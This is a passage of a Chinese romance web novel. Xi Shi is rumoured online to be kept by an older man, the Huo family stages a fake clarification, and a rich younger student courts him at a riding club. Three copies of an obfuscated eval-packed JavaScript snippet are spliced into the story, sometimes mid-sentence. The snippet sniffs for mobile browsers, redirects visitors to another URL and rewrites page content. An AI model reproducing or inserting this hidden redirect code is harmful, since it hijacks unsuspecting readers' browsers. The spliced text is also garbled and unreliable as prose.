景沉看完他的表演也离场了,正在外面等他,见他鬼鬼祟祟跑出来,说:“我观察过了,周围没人。” 奚时松了口气,他可不想像明星一样被一群迷弟迷妹崇拜围观要微信。 “我弹得怎么样?” 奚时站在台阶上,歪头问景沉,一副乖巧等夸奖的样子。 “很棒,不输专业的。”景沉很客观道。 奚时嘿嘿笑,又把手中的盒子递给景沉:“这个是我给你的礼物。” 景沉看他递过来的三个袋子,其中两个比他送给奚时球鞋的还要大,不知道装了什么,挑了挑眉。 他接过袋子,不轻不重,看外面的袋子应该都是不便宜的东西。 “这么舍得为我破费?” 奚时还沉浸在两个人刚见面又得即将分别的怨念中,幽幽道:“你要是能把金主爸爸我伺候得更好一点,我会更舍得。” 景沉:“那我今晚开始回去补身体,争取明天能伺候到天亮。” 奚时:“……” 奚时脸一下红了,瞪了一眼景沉:“谁跟你说这个!不许补!” 现在景沉已经强得令他害怕了,他不敢想象他再补一下会变成什么样子。 景沉也只是开个玩笑,近朱者赤,跟奚时这天天觊觎他身体的小色鬼在一起,他都要变成老色鬼了。 换成之前,以他的性格,是万万开不出这种带颜色玩笑的。 景沉看了下时间还早,逆子还没那么快回去,就说:“我看这体育馆后面没什么人,去转转?” 奚时轻哼一声,故意装出勉为其难的样子,冲景沉伸出手。 “那本金主爸爸就大发慈悲,再陪你一会吧。” —— 奚时这次的表演,在燕大的大一新生中,可谓一夜爆红,到处都在讨论他,打听他的专业寝室微信号。 论坛上也全是他们发的帖子,还有人考古关于他的旧贴,发现以前的学长学姐不仅同被奚时惊艳过,还给他取了个非常贴切的称号:最美校草。 而且,有人贴出了奚时的专业成绩,众人才发现,奚时不仅钢琴弹得好,学习成绩也很优异,不是那种内里空空的漂亮草包。 一时间,奚时风头无两。 霍思远今天来燕大,也肩负了接霍思议回去的任务。 快速行驶的轿车里,霍思远眼神复杂地看自家堂弟兴致勃勃地刷论坛,看其他同学挖出来有关奚时的考古帖子,觉得该说点什么,又不知道说啥好。 “你真要追求这个奚时?”霍思远试探问。 “那是当然,我第一次对一个男人如此动心。” “……”霍思远深吸一口气,“你有没有想过,他或许有对象?” 这话如晴天霹雳,霍思议浑身一震。 他还真没考虑过这个问题。 霍思远见这话奏效,立刻说:“我刚刚在观众席上,听燕大那些学生说,他们看到奚时跟一个男人同进同出,举止亲密,很有可能是他男朋友。” 他当然没听哪个学生说这种话。 不过他小叔今天确实来了,他们确实同进同出,举止也不可能不亲密。 所以不算造谣吧。 霍思议听到这话,拳头都握紧了。 他恋爱不到两个小时,又失恋了。 霍思远看他一脸失魂落魄的样子,叹了口气,拍了拍他肩膀说:“想开点,你还小,凭你这出身地位,以后什么样的美人没有。” “对,凭我的出身地位,什么样的美人没有!” 霍思议附和,霍思远刚露出欣慰的表情,又听到他堂弟接下去说:“所以,我凭什么要放弃,不就有男朋友吗,只要我锄头挥得好,哪个墙角挖不倒?呵!” 霍思远:“……” “…………?” 没救了,毁灭吧。 霍思远喜欢的是女人,虽然觉得奚时很好看,但他们这身份地位,什么样的美人没见过,就是美艳性感的人/妖皇后,也叫出来见识过。 他完全get不到这对父子为何都只迷恋奚时一个。 眼见霍思议又开始刷论坛,霍思远已经没眼看了。 首页几个帖子霍思议都看过了,他点了一下刷新,一个名为《最美校草?中年男人的小情儿罢了》的新帖吸引了他的注意力。 他皱了皱眉,修长的手指动了动,点进帖子。 接着,他的眼睛微微瞪大。 帖主开门见山,没任何废话,直接晒出了十几张照片。 照片内容很直观,奚时跟一个男人在地下车库见面,男人送奚时礼物,奚时开心得主动伸手抱男人,男人抱着他,摸他头。 举止亲密,根本不需要任何文字,就印证了二人不同寻常的暧昧关系。 不过,现在同性婚姻合法,奚时也是成年人了,有个男性对象并不能说明什么。 偏偏,帖主给那个男人打了码,并不能看到他的脸,不过就他那条纹polo衫,西装裤的成熟装扮,这男人少说也40往上甚至不止。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048952|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 而且,帖主放的最后一张图,是趁奚时不注意,偷偷拍的那个男人送他礼物里面的样子。 那包装盒,赫然是某款知名品牌球鞋最新推出的纪念款BL47。 这球鞋官网售价12888,在大学生的世界里,送这么贵的鞋子,妥妥地包养了。 这个帖子是五分钟前发出的,由于内容太劲爆,已经有了两百多条的回复。 霍思远察觉到霍思议的异样,凑过去看他的手机,刚好看到奚时跟那个脸上被打了码的男人抱在一起的图片,也是一惊。 他伸手,滑动霍思议的手机屏幕,看到那一张张照片和鬼才帖名,更是目瞪口呆。 虽然照片里的人打了码,但霍思远因为知道奚时跟他小叔的事情,所以很容易判断出,这个爹味穿搭的男人,就是他的小叔。 啊这...... 他堂弟显然从没将这个老男人跟他爸联系在一起,只见他拳头紧握,脸色非常难看,也不知道是气奚时的对象是个老男人,还是气发这个帖子的人。 这时车子到了霍家,霍家的佣人们20几天不见霍思议这小主子,一见到他,就迫不及待地迎上来,看到他不仅晒黑了,还瘦了,十分心疼,簇拥着他进屋。 霍思远跟在后面踏进霍家的大门,他小叔已经回来了,正在客厅里坐着喝茶。 看到他小叔身上已经换了的家常便服,霍思远忍不住捂脸。 霍思议大概短期内是无法知道真相了。 —— 那个帖子在论坛和燕大都很轰动,帖子的当事人奚时却在第二天才看到。 他昨天和景沉分别后,本想回寝室,结果被一堆学弟学妹围堵要微信,赶紧跑回家避风头了。 而且他不是从同学那里得知的,而是从燕京纨绔聚集地“穿着高定吃西瓜”那个群看到的,这个群跟当初他刚被退婚时一样热闹,艾特了他数十次,把他吵醒了。 【@你咋不上天真的假的啊,快出来辟谣。】 【照片都甩脸上了,还能有假。】 【看这老男人的手养尊处优的,估计是我们认识的哪个叔叔】 【啧啧,怎么也得送豪车豪宅吧,送双万把块的球鞋就是包养了,感觉我们群的档次都被拉低了】 【肯定是被退婚后放飞自我了。】 【嘶,就算被退婚也不能自甘堕落,找个老男人啊@你咋不上天】 ...... 奚时无语死了,他昨天光顾着和景沉在停车场说话亲热了,没想到还能被人拍,还巧合的是刚好景沉穿成那样。 故意遮了景沉的脸,可见发帖子的人心思之歹毒。 他看了眼最初的分享者,是一个没备注的小号,遮遮掩掩的,一看就没安好心。 让他在学校身败名裂就算了,发到这个群里,约等于能传遍燕京豪门圈的每一个角落,让他又一次成为笑话。 太恶毒了。 不过,奚时一点都不生气。 他正愁自己现在红得很,走到哪都被小学弟学妹要微信呢,被破坏一下形象挺好的。 他甚至把帖子转手发给了景沉。 你咋不上天:哥,我们红了哎。 你咋不上天:你别去工地了,咱们收拾收拾,直播带货去吧。 你咋不上天:日入百万不是梦,很快我们就能打败霍家,成为首富,走上人生巅峰。 景沉:抬头。 你咋不上天:啊? 景沉:看看你的微信昵称。 你咋不上天:…… 15. 第 15 章 奚时本来一点都没把被挂论坛那事放心上,架不住微信里燕大的同学旁敲侧击地来问。 甚至有性格过激的,直接给他发“学长,你太让人失望了”“贱不贱呐”之类的消息。 奚时贼他妈无语。 退一万步讲,就算他真被一个老男人包养了,也不关他们事吧,他没做三没出轨没违背道德法律。 哪里来的网络小警察。 原本今晚又可以跟景沉见面了挺开心,现在奚时心情都被他们破坏了。 他心烦意乱地躺在床上,盯着天花板,思索着该怎么解决这事情。 最好的办法就是把他跟景沉的合照放论坛,澄清他们是情侣,不是包养关系,景沉也没那么老,只是穿着打扮不时髦。 但这样子,不等于公开他和景沉的关系吗? 他记得要在学校装兄弟是景沉提出来的,看样子有顾忌。 而且,他们还真是包养关系……只是反了而已。 难道就这样算了? 不行。 奚时猛地从床上坐起来,他咽不下这口气。 必须让人查这个缺了大德的贴主IP。 敢这么搞他,高低得套麻袋把人打一顿。 他打开学校的论坛,但他并没有看到那个贴子了,飘在首页挂了hot字样的新贴,换成了一个名叫《关于被包养传闻,代发澄清贴》的贴子。 奚时心里卧槽一声,这又是什么发展? 好奇心驱使他点进了这个贴子。 1楼:代发,详见2楼。 2楼:啊? 3楼:前排。 4楼:卧槽,反转?! 5楼:奚时不是可以上论坛么,为什么要代发? 6楼:大家好,我叫言和,是奚时的表舅,前几天看到小时发朋友圈说想要一双BL47的限量球鞋,我就给他买了一双,昨天出差一回来就给他送过来,小时激动之余,抱了我一下,没想到会被人误解,所以找到燕大的学生,帮我发了这个澄清的贴子,希望大家不要再以讹传讹,对于发贴造谣之人,我将保留一切追究权利。 ...... 奚时:??? 这还不是最离谱的,最离谱的在后面,贴主又发了一张图片,是他那个叫言和的表舅穿着昨天景沉穿那身衣服的半身照。 表舅今年40,和这套衣服无比契合...... 而且还别说,这照片应该P过,和景沉看起来竟有几分相似,估计昨天晚上看到了景沉真人的燕大学生,也不大会怀疑。 啊这?! 表舅是真表舅,但事情不是真事啊。 而且拍照的人手中有照片,如果那个人再把不打码的发上来,那这个贴子就是造谣式洗白,更加坐实了他被包养的传言。 奚时完全看不懂了。 他翻出表舅言和的电话,直接给人打了过去。 “喂,小时?” “表舅,您看一下微信,我给您发那张图片,是怎么回事?” “我看看……这个啊,这个我也说不清楚是怎么回事,反正就是我有个挺难啃的项目,今天忽然有了眉目,前提要求是要我拍这么一张照。” 奚时:“……?” 更扑朔迷离了。 “不过,让我拍照那个人提到什么霍先生,我这个项目也是首富霍家外包给别的公司的,你看是不是跟这个有关系?” 霍家?! 他只认识一位姓霍的。 听说可能是霍思远做的,奚时暗暗松了口气。 他跟霍思远无冤无仇,霍思远应该不至于这么害他。 他肯定是搞定了那个拍照的人,才敢这样公然作假。 就是不知道霍思远为什么要帮他。 奚时想不通,干脆打开霍思远的微信聊天,直接给他打了个语音电话。 霍思远刚跟他小叔串好口供,奚时的语音就打过来了。 他接起电话,在他小叔的示意下,霍思远努力用他玩世不恭的语气说:“如果你打电话是来说谢谢的,就不用了,我学雷锋,做好事不留名。” “......”奚时被他噎了一下,才问,“你为什么要帮我?” 没记错的话,他跟霍思远并不熟。 而且由于怀疑他喜欢景沉,他对他态度一向都不太友好。 难道他是个抖M? “哼,我也不是帮你,上次我去学校给你送球鞋,碰到你一个知道我身份的同学,以为我们是一对,就把这事舞到我面前来了。” “我这人呢,一身反骨,他越是想害得你身败名裂,我越不让他得逞。” 可以,这行事作风确实很霍三少。 奚时问:“所以能麻烦你告诉我,是我哪个同学做的么?” “这个啊,”霍三少神秘一笑,“你明天就知道了。” 奚时一头雾水地挂掉了电话,心里琢磨着他有哪个同学是可能认识霍三少的? 完全都不是一个圈子啊。 奚时想了一圈没想通,这霍三少一看就是个高调的,结交朋友也很随心所欲。 他好像也是莫名其妙就跟他认识了,然后莫名其妙加了微信。 既然霍三少说晚点他就知道了,他也没再纠结。 到时候多给那个人两拳就行了。 因为这个反转,微信里原本骂他那些人,一些又纷纷过来道歉。 奚时没删掉他们,但都给了免打扰一条龙。 去我列表吃灰去吧! 中午的时候,他接到了秦铭天的电话。 秦铭天是他发小兼铁哥们,这货就一纨绔,书念得稀疏平常,吃喝玩乐样样精通。 他大学在本地一所专科学校读酒店管理,今年大三,他们学校就要出来实习。 人家都是找酒店实习,他倒好,干脆自己开了个酒店让同学来实习,从酒店管理变管理酒店。 据说他专业的老师笑也不是,气也不是,只能眼睁睁地看着学生逍遥快活,还要在他实习报告上打满分。 那能怎么办呢,人家钱多。 “什么事?”奚时懒洋洋问。 “在干啥呢,出来嗨啊。” “不去,”奚时毫不犹豫地拒绝,“这个点有什么好玩的,夜店都还没开门。” “夜店开门了我也不敢带你去啊,就你那酒量和发酒疯的本事,我怕你把人家夜店拆了。” “……”奚时面无表情,“挂了,再见。” “别别别,等等!听我说,你听我说。” 秦铭天赶紧说:“我是来约你去马场玩的,你不觉得这风调雨顺大晴天的,很适合去跑马?” 奚时也挺久没出去玩了。 他总不能跟小媳妇一样在这里等景沉等到晚上,而且他也好久没去马场了,心痒痒的,于是一口答应。 最近天气转凉,来马场玩的人有不少。 奚时换上骑马服,出来的时候马师已经牵了两匹马过来。 秦铭天挑了其中一匹白色的,奚时就接过枣红色那匹的缰绳。 他牵着马刚要走进去,马场上踢踢踏踏地跑来几匹马,在入口驭停。 这几个人一下马,立刻就有几个马师恭恭敬敬地过去牵马。 这群人为首的是个少年,他边脱手套边往外走,刚好和门口的奚时他们撞了个正着。 少年目光落在奚时脸上,先是震惊,震惊中还带着复杂,复杂中又掺杂着一丝难以察觉的欣喜。 奚时不认得此人,冲他点点头,侧开身让他先出来。 等他们一群人都呼啦啦地出去,秦铭天才问:“你认识刚刚那人?” “不认识啊,你知道?”奚时问。 秦铭天压低声音说:“首富之子。” 原本正翻身上马的奚时差点一脚踩空。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048953|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我嘞个大擦,以前他觉得霍家人神神秘秘的,怎么这阵子一下子认识了个霍三少,一下又见到了首富之子。 而且,原来首富的儿子都这么大了吗? 他以为对方还没结婚呢。 奚时羡慕地回头看了眼首富之子的背影。 看着也没三头六臂啊,怎么这么会投胎呢。 这爸给他多好。 秦铭天翻身上马,冲奚时扬了扬下巴:“比一场?” 奚时立刻把这个小插曲抛在脑后,也翻身上马说:“来吧,手下败将。” 秦铭天差点被气死,两人骑着马到了跨栏赛马的场地,这会儿没人在跑,秦铭天数“3,2,1”,两匹马飞奔出去。 霍思议今天心情很不好。 他昨晚才刚坠入名为奚时的爱河不到两小时,奚时就塌房了。 他不介意奚时有对象,他可以把人抢过来。 可是,奚时被一个老男人包养这种自甘堕落的行为,着实让他没办法不介意。 ——可怜霍思议昨天就气得把燕大论坛卸载了,压根不知道剧情出现了反转。 他烦得很,今天本来打算出来跑马放松放松心情,谁知道他跟奚时以前同在一个圈子那么久也没碰过面,今天却给他撞上了。 真人比那天在大荧幕上看到的美多了,看起来又美又乖,仿佛天生的发光体,简直让人挪不开眼。 “思议,这里晒,去茶棚里坐吧。”马场老板的侄子梁意招呼道。 霍思议看着马场上,骑着马肆意奔跑的奚时,头也不回地说:“你们玩儿去,别管我。” 梁意看向他看的方向,只见两个人骑着一红一白两匹马,在马场上比赛跨栏。 其中一个年轻男人长得特别漂亮,他微伏着身体驾驭马跨过一道道障碍,张扬又利落,旁边不少人都被他吸引了目光。 “你对他有兴趣?” “没兴趣!” “……”没兴趣你还看得那么入迷。 梁意意识到自己问的也是蠢问题,补救说:“等下他跑完,我让人把他叫……思议,你去哪?” 霍思议头也不回地走下露台,从马师手中顺手牵走了一匹马。 奚时轻松跑赢了秦铭天,驭停马冲他露出一个挑衅的笑。 “小样,服不服?” 秦铭天明显不服,说:“少得意,再来,三局二胜。” “行,爸爸让你输得心服口服。” 奚时策马回到起始点,比赛再次开始,二人刚跑出去,忽然一人纵马冲进来,顺势加入他们的比赛行列。 他起跑比他们落后了五六个身位,却几乎是在眨眼之间追上了二人,并在要到达第一个栏时,一扬马鞭,身下的马再次加速,几乎是离弦之箭一样冲上去,越过障碍。 围观他们的人爆发出一阵惊呼。 奚时只见一个人忽然冲进来加入了他们的比赛,丝毫没受影响,只当是马场哪个想跟他们比着玩的。 但看到那个人不要命一样加速,马儿几乎跑出了残影,越过一道道障碍,有点震惊。 他还是第一次见这种不要命一样的玩法,帅是真的帅,危险也是真危险。 结果毫无悬念,那个人先到达了终点,又耍帅似的来了个超难度的极速驭停马。 马的前蹄高高扬起,发出一声尖锐的嘶鸣,几乎要把马上的人甩下来。 在围观群众的尖叫喝彩声中,骑马之人策马到奚时跟前,拉下头盔的面罩,露出少年人帅气张扬的脸,冲才驭停马的奚时露出一个微笑。 “学长你好,我叫霍思议,认识一下?” 哼!被老男人包养又怎么样,他霍思议比那个老男人年轻,比那包养人都只送得起一双万把块破鞋的老男人钱多,更有优势。 分分钟给他抢过来! 奚时:“……?” 他难道是有什么吸引霍家人的特殊体质? 16. 第 16 章 霍思议叫他学长,肯定是燕大的学生,这么说来,他肯定就是霍思远口中那位堂弟了。 这霍家基因是真不错,霍思远和霍思议两兄弟都是标准的大帅哥,身高腿长的,即便没有家世的加成,应该也会很受欢迎。 而且这个霍思议因为年少,乖巧中透着一股阳光开朗的气息,让人很容易想亲近他。 霍思远刚帮助过他,奚时这时候的态度很礼貌客气。 他微笑道:“你好,很高兴认识你。” 霍思议顿时笑眯了眼,说:“你的马骑得真好,跟哪个马师学的?” “我自己瞎骑的,没跟谁学过。” “自学都能学这么好吗,你好厉害啊学长,我都是请最好的马师教才勉强能学到现在这个境界。” 奚时被夸得都有点不好意思了。 霍思议一个从小被人捧到大的首富公子,也这么会吹彩虹屁的吗? 秦铭天刚刚被突然加入的霍思远那不要命的骑法硬控了好几秒,现在才到终点。 他见到那人是霍思议,差点下巴掉地上。 原来是首富公子,怪不得骑马骑出了一副有钱不知道怎么花的帅气(bushi。 “你,你们……” 秦铭天看看奚时,又看看霍思议,震惊之情无以言表。 “你好,我叫霍思议,是奚时学长的学弟。” 霍思议再次自我介绍。 “哦,哦。” 秦铭天没想到首富之子这么平易近人,挠了挠头说:“我叫秦铭天,是小时的铁哥们。” “秦哥好。”霍思议礼貌又乖巧地打招呼。 秦铭天被这一声“秦哥”叫得飘飘然,首富之子居然称他哥哎! 牛逼大发了哇。 他瞬间觉得霍思议这人很可以。 “你马骑得真棒,论骑术,我谁都不服,就服你。”秦铭天冲霍思议竖起大拇指。 奚时没眼看了。 但似乎霍思议很吃这一套,先是高兴地笑了笑,随即垂下眼眸说:“可惜我朋友都不爱骑马,我可以加入你们吗?” 秦铭天说:“当然没问题,你是小时的学弟,也是我的学弟,学弟想玩什么项目,尽管说。” 奚时:“......” 你是懂认学弟的。 这时,他们听到了一声嘹亮的哨声,顺着声音看去,原来是这里的工作人员,示意他们不要待在那里,还有其他人要跨栏跑过来,容易刹不住有危险。 而且今天来跑马的人着实有点多,搞得这里尘土飞扬的,玩起来并不舒服。 “学长,秦哥,我们去牧场那里玩吧。”霍思议提议道。 秦铭天轻咳一声,尴尬地说:“我跟你学长没有这里的会员哇。” 牧场那边都是绿草地,很适合跑马。 不过这里的草地都是要人工管理维持和修剪的,维护成本很高,所以要马场的会员才有资格去。 这种会员一年好几十万,是真正属于有钱人的去处。 奚时和秦铭天都不是什么骑马爱好者,只是偶尔来玩,肯定不可能花这种冤枉钱。 “没事,我爸是这里的股东,我想带几个人都行。” 好吧,是他们多虑了,有首富公子带路,燕京哪个地方他们进不去。 奚时和秦铭天对视了一眼,都从彼此的眼中看到了羡慕。 这时候,谁不想叫首富一句爹呢? 秦铭天真挚地说:“学弟啊,你看我像不像你失散多年的哥哥?” 霍思议显然经常被人这样子问,笑说:“我爸应该搞不出你这么大的儿子来,不过......” 他意味深长地看了奚时一眼:“我爸倒是有一位失散多年的儿媳妇。” 秦铭天看他的眼神,一下懂了什么,见奚时面不改色的,也不知道是没听懂还是不想听懂。 他哈哈笑说:“走走走,去牧场玩吧,我还没去过那地儿呢,今天占学弟的光得好好体验体验。” 三个人策马直奔牧场,果然工作人员都不需要核实身份,看到霍思议那张脸,就直接放行了。 跟马场那边比起来,这边可以说是山清水秀了,草地鲜绿柔软,一望无垠。 也难怪人家会员费这么贵,要维护这么大一块草地,成本肯定不低。 关键是这里虽然是郊外,但也是寸土寸金燕京的郊外,这么大个牧场的土地必不可能便宜。 霍思议的马鞭一指远处的山坡,说:“我们比赛谁先跑到那边,怎么样?” “可以可以,谁输了谁晚上请客。”秦铭天人菜瘾大地附和。 奚时说:“反正不可能是我请客。” 霍思议笑眯眯地说:“也不可能是我。” 秦铭天哼笑:“等着瞧吧,我平地跑比障碍跑厉害多了。” 三个人骑着马并排而立,等秦铭天“3、2、1”倒计时结束,都一扬马鞭,三匹马快速冲出去。 在这里跑马,比在尘土飞扬的沙场爽不知道多少倍。 奚时骑着马飞奔,闻着鼻翼间草地的芬芳,只觉得这一刻心旷神怡,有种在大草原上奔跑的惬意。 三人跑到终点,秦铭天又输了。 这货就胜在一个脸皮厚,又叫嚣着自己是沙地跑多了,不习惯草地,嚷嚷着要再来一次。 这次是从山坡跑到入口,原本跑第一的霍思议这次居然被奚时甩在了后面,能胜过霍思议这种骑马高手奚时十分兴奋,跑得愈发快,第一个冲过了终点。 他勒停马,还没来得及回头看自己的小伙伴,听到有一个女孩子的声音叫他。 “奚时?!” 听到这个声音,奚时浑身一僵,原本因心情畅快而肆意张扬的笑容,也凝固在了脸上。 “真的是你,你怎么会在这里?你办了这里的会员?我爸知道你这么败家吗?” 来人是奚时叔叔的女儿,奚玥。 她从小跟奚时不对付,奚时的叔叔,婶婶对他都不错,堂哥更是对他好到没边。 而奚玥,让他真正懂了寄人篱下四个字的含义。 奚时脸色苍白,说:“我跟我朋友进来玩的。” “撒谎!除了邵寻,你哪里来的这么阔气的朋友?” 奚玥牵着马,明明是抬着头看他,奚时却感受到了居高临下的压迫。 “还是说,是那个送你球鞋包养你的老男人?” 奚时的脸更白了,这时秦铭天和霍思议都已经跑过来。 当着发小和学弟的面,奚时从未觉得如此窘迫,替自己辩解道:“我没被包养,我就是跟朋友进来的,你爱信不信。” “呵,这种话骗骗外人就行了,别把自己也骗了,你倒是说说,你哪个阔少朋友带你来的?” 霍思议刚跑到终点,就听到奚时说自己没被包养,心里滋生出一阵窃喜。 听到奚玥的话,他冷冷地说:“我带他来的,你有意见?” 奚玥抬头看说话的人,不认识,燕京那些有头有脸的纨绔她基本都认得脸,不认得的自然不是什么大人物。 她刚要说你又是哪根葱,旁边跟她一起来的小姐妹扯了扯她袖子,在奚玥耳边说了什么,大概率是霍思议的身份。 奚玥的表情扭曲了一下,微微瞪大眼,难以接受自己一向看不起的堂哥,居然能勾搭上首富公子。 不过,她的表情也立刻从居高临下的不屑,变成了谄笑的讨好。 “原来是霍少,实在抱歉啊,我二哥他最近被人拍到有老男人给他送礼物,还跟老男人搂搂抱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14048954|149003||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 抱牵扯不清,为了摆阔自甘堕落被老男人包养,我看不过去,说话才急了点,不是故意冒犯您的。” 这话听着像解释,其实何其恶毒。 秦铭天听不下去,他也在那个穿着高定吃西瓜的群,所以吃到了第一手瓜,说:“奚玥妹妹,你不要乱讲啊,那事不是已经澄清了是小时的表舅吗。” “啊?澄清了吗,我不知道啊,”奚玥一副无措的样子,“对不起二哥,我不是故意的。” 奚时咬紧嘴唇,没有说话,握着缰绳的手却因过度用力而泛白。 霍思议接连听到惊喜,心里的喜悦都快溢出来了。 好好好,他又可以了。 他不屑地轻呵了一声,说:“原来他是你哥啊,我还以为他是你仇人呢,今天我心情好,别妨碍我们跑马,识相的赶紧从我面前消失。” 账可以放着下次再算。 霍思议说完,又看向奚时,语气瞬间变得乖巧:“学长,我们去那边看看吧。” “嗯。” 奚时巴不得走,刚要骑马离开,却被奚玥拦住了。 奚玥眼中闪着灼热与兴奋地看了霍思议一眼,借着马挡住视线,对奚时用口型说:“带我一起。” 奚时看懂了,想装作没看懂,又看到奚玥继续用口型说:“你欠我们家的。” 奚时原本就苍白的脸变得更加煞白,这时霍思议催促道:“走啊学长。” “我……”在奚玥目光逼迫下,奚时张了张嘴,忽然说,“我想起来还约了一个人,你们玩,我先走了。” 说着,也不管他们说什么,奚时调转马头,直接跑了。 他看得出来奚玥是想借他攀上霍思议,毕竟霍思议与他们年纪相仿,首富儿媳这个位置,谁不会想呢。 他真的不想做这个踏脚石。 人家霍思议把他当学长信任他,他却要把妹妹推给他。 但在奚玥的道德绑架下,他又张不开拒绝的嘴。 干脆跑了。 霍思议见奚时忽然跑了,登了奚玥一眼,想策马去追,却被奚玥几个挡住了去路,秦铭天也一样,等他们摆脱她们出来,奚时已经离开了。 奚时给秦铭天发了个消息说自己先回去了,开着跑车漫无目的地回了市区,觉得有一股气压在胸口,让他很难受。 他拿出手机,给景沉发消息。 你咋不上天:哥,忙完了吗? 景沉回得很快。 景沉:差不多了,你先去我家。 你咋不上天:在哪里,我去接你呗。 景沉那边过了一会,给他发了个定位。 景沉:你过来吧。 奚时发现他发的是一家挺高档的写字楼旁边的咖啡馆,等他开车过去时,景沉已经在咖啡馆门口等着了。 他果然遵守约定穿了奚时最爱的西装。 只不过估计是热,西服外套挂在臂弯里,身上是笔挺的衬衣西裤,往那里一站,跟旁边写字楼哪个公司的总裁似的,颇有气场。 只是他表情太过于冷凝,没人敢上前搭讪。 景沉没见过他这辆跑车,等他开近了才发现是他,见车子停下来,刚要伸手拉车门,奚时却从旁边车上下来了。 不及景沉反应,他一把抱住景沉,把头埋在他的怀里。 景沉被他抱了个正着,严肃的脸上露出一点无奈,揉了揉他头发说:“不至于现在就迫不及待了吧。” 奚时声音闷闷的:“才不是。” 景沉目光一沉:“是不是谁欺负你了?” “没有,”奚时脑袋在他怀里蹭了蹭,“我只是……想你了。” 这动作和话的杀伤力都很强,几乎要把景沉从头到脚融化掉。 现在的小朋友,真是太会撒娇了。 17. 第 17 章 奚时抱了一会就松开了,把车钥匙给景沉。 “哥,你还没开过跑车吧,给你。” 景沉这才看向停在街边的跑车,说:“这车不便宜吧?” “落地800多万,我堂哥送我的十八岁生日礼物,是不是很酷炫?” 这跑车外形设计融入机甲元素,有很强的视觉冲击力和流畅的战力感,仿佛随时要幻化成人形态起来战斗,放在有钱人遍地跑的燕京也很拉风。 这车就在咖啡馆门口停了一会,就有不少人投来目光,还有人举着手机拍照。 “很酷炫。”景沉肯定地说。 “嘿嘿,不瞒你说,我平时都不大舍得开出来,走吧走吧,等下被人拍照放网上,又有人要臆想了。” 二人上车,景沉发动车子,他其实并不喜欢跑车,可能是年纪大了,嫌那声浪吵。 也太高调,不够庄重。 “去我那?”景沉问。 奚时“嗯”了一声。 今天是周六,原本出行的车就多,现在又是高峰期,路上堵得很,跑车硬生生开出了乌龟爬的效果。 跑车底盘低,座椅下沉,坐着并没有轿车符合人体学,加上空间相对逼仄,堵车其实很痛苦。 “完了哥,你第一次开超跑的体验就被堵车毁了,你都不知道我刚刚从郊外回来走环城高架有多爽。” 景沉注意着路况,问:“去郊外哪里玩了?” “去马场跑了一会马。” 奚时说这话时,语气明显失落下来。 景沉问:“是不是在那里碰到了什么烦心事?” 奚时摇摇头,不想把他家那些事拿出来说。 要说好,他堂哥是对他真好,800多万的豪车说送就送,而且这只是其中之一,他哥给他的远不止于此,说把他当亲弟弟疼也不为过。 如果邵寻和他妈来说协议结婚那天他哥也在,并且也觉得好,那他就算是捏着鼻子,也会同意这门婚事。 但以奚时对他哥的了解,他不但不会同意,还会不客气地把人轰出去。 大概是上天觉得给了他这么好一个堂哥,就相对的要给他一个不那么好的堂妹。 从他哥送给他这豪车当生日礼物就知道,奚家财力有多雄厚。 马场会员也就几十万,对于他们这种豪门来说,根本不是什么值得计较的大钱。 可奚玥就是会不爽他花钱,她可以眼也不眨地包包all in,上百万的珠宝首饰随便买,那些名牌的衣服高定,更是家里的衣帽间都堆不下,年年清出一堆没穿过的送给佣人。 他们家佣人估计靠转卖这些,都赚千百万了。 她如此阔气,却连奚时买双万把块的球鞋都要阴阳怪气。 而且奚时的父母并没有留下太雄厚的家底,每次奚时花大钱也会有在吸叔叔婶婶血的罪恶感,再被奚玥这么经年累月地pua,让他总有种亏欠叔叔一家很多的感觉。 所以,今天奚玥那样威胁他,他才说不出任何拒绝的话。 确实是他欠他们家的。 也因此,他心甘情愿地联姻,愿意以终身幸福为代价,还叔叔的养育之恩。 哎,唉…… 这时,奚时的手机震动了一下,微信弹出来一条提示,“好好好”请求添加你为好友,是否同意。 备注:我是霍思议。 此好友添加来自于联系人秦铭天的推荐名片。 好好好,秦铭天这浓眉大眼的,这么快就背叛组织了。 不过奚时对于霍思议印象还不错,而且还是同一个学校的学弟,关系加分,他也没犹豫,通过了霍思议的添加请求。 给他备注时,奚时输入霍思议后,犹豫了一下,又删除了他的名字,输入学弟二字。 奚玥既然看到了他和霍思议一起玩,鬼知道她会做出什么事情来,她想和霍思议交好,甚至跟他处对象,成为人人艳羡的霍家儿媳,都是她的本事。 但奚时是不可能会给她牵线搭桥的。 学弟:学长好(^_^)ノ 学弟:我们的昵称连起来好搭哦。 学弟:你咋不上天?好好好。 你咋不上天:...... 学弟:学长你在忙什么?要不要出来吃饭啊。 学弟:秦哥欠我们一顿饭呢。 